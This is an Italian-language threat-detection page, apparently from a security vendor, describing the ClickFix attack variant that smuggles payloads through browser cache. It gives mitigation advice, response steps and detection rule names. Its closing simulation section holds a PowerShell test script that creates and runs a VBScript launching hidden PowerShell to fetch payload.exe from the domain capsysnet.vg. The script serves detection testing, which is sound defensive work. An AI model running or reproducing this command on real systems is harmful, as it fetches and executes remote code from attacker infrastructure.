L’attacco ClickFix consegna payload tramite la cache del browser
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una nuova variante dell’attacco ClickFix utilizza siti web compromessi per pre-caricare script dannosi nella cache del browser web, travestiti da file legittimi come PNG. Le vittime vengono manipolate per eseguire comandi tramite la finestra di dialogo Esegui di Windows, che poi attiva l’esecuzione del payload in cache per bypassare i limiti dei caratteri e i controlli di sicurezza. Questa tecnica alla fine porta al furto di credenziali attraverso l’iniezione di memoria in processi legittimi.
Indagine
Microsoft Threat Intelligence e altri ricercatori hanno identificato una catena di infezione a più stadi che coinvolge VBScript, PowerShell e assembly .NET. La catena di attacco utilizza il browser cache smuggling per nascondere i payload e impiega WMI per raccogliere informazioni sull’host. L’indagine ha evidenziato l’uso di strumenti di sistema legittimi come cmd.exe, wscript.exe e timeout.exe per facilitare l’attacco.
Mitigazione
Le organizzazioni dovrebbero implementare protezioni basate su cloud, web e rete insieme al controllo delle applicazioni e al logging dei blocchi di script PowerShell. Gli utenti dovrebbero essere istruiti a non incollare mai comandi in Windows Run, Terminare PowerShell quando richiesto da errori del sito web o CAPTCHA. Si raccomanda anche di monitorare attività sospette del browser e processi figli WScript/PowerShell.
Risposta
Dopo la rilevazione, cercare attività sospette nel registro RunMRU e monitorare compiti pianificati insoliti. Indagare sui processi figli generati da WScript o PowerShell e controllare l’assemblaggio .NET non autorizzato caricato nella memoria. Isolare i sistemi colpiti e rivedere i registri di rete per connessioni in uscita verso domini noti come malevoli.
Flusso di Attacco
Stiamo ancora aggiornando questa parte.
Rilevamenti
Possibile Esecuzione tramite Uso di Nome Script Corto (via cmdline)
Possibile Operazione Manuale o di Scripting Eseguita in Cartelle Insolite (tramite cmdline)
LOLBAS WScript / CScript (tramite creazione processo)
Rilevamento di Esecuzioni PowerShell e VBScript tramite Browser Cache Smuggling [Powershell di Windows]
Esecuzione della Simulazione
-
Narrativa dell’Attacco & Comandi: L’avversario sfrutta una tattica di ingegneria sociale in cui si invita un utente a ‘aggiustare’ un errore del browser. Questo processo introduce un VBScript dannoso in una directory temporanea (simulando la cache del browser). L’avversario quindi esegue questo VBScript usando
wscript.exe. Il VBScript è progettato per chiamare PowerShell con il-WindowStyle Hiddenflag per evitare il rilevamento dell’utente e tenta di connettersi al dominiocapsysnet.vgper recuperare un payload secondario. Questa sequenza è progettata per attivare la logica di rilevamento basata su stringhe specifiche nella regola. -
Script di Test di Regressione:
# Script di Simulazione: Imitazione di ClickFix Payload Smuggling $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" # Crea un VBScript che simula il comportamento dannoso # Tenta di chiamare PowerShell con la stringa specifica che cerca la regola # e fa riferimento al dominio sospetto. $vbsContent = @" Set objShell = CreateObject("WScript.Shell") ' Simula la chiamata di uno script chiamato v.ps1 con stile finestra nascosta ' e la connessione al dominio sospetto objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True "@ Set-Content -Path $vbsPath -Value $vbsContent Write-Host "[+] VBScript dannoso creato in: $vbsPath" Write-Host "[+] Esecuzione VBScript tramite wscript.exe per attivare la rilevazione..." # Esegui il VBScript Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`"" Write-Host "[+] Comando di simulazione inviato. Verifica avvisi nel SIEM." -
Comandi di Pulizia:
# Pulizia: Rimuovi i file dannosi simulati $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" if (Test-Path $vbsPath) { Remove-Item -Path $vbsPath -Force Write-Host "[+] Pulizia completata: $vbsPath rimosso." } else { Write-Host "[!] Pulizia fallita: File non trovato." }